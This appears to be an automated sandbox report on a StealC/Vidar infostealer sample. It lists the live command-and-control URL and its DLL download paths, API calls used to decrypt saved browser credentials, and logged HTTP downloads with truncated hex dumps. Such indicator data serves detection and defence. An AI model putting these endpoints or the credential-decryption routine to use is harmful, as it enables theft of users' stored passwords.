Instruction ID: 6191e3c7d4b120acf8d177d938632d93a8d8c3db94124e78dfb30e3d49e1348a
Opcode Fuzzy Hash: f56d48aa3e8cdf90a72d077eef680dbc31ce3ce6353fff615fba4bcddb8869e2
Instruction Fuzzy Hash: B9F0B47290830C9BD721BBB89D47B7E33A06F10720F644249F705AA1D3DF685941EED6

Source: 0.2.file.exe.1e0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}
Source: 0.2.file.exe.1e0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Source: http://185.215.113.37/	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpdowsApps	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpQ	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpinomi	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php1	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php3	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpy	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpwser	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dlll	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php	Virustotal: Detection: 18%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_001E9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_001EC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_001E7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_001E9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_001F8EA0

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 29 Sep 2024 00:00:06 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 29 Sep 2024 00:00:13 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 29 Sep 2024 00:00:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 29 Sep 2024 00:00:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 29 Sep 2024 00:00:17 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 29 Sep 2024 00:00:18 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 29 Sep 2024 00:00:19 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 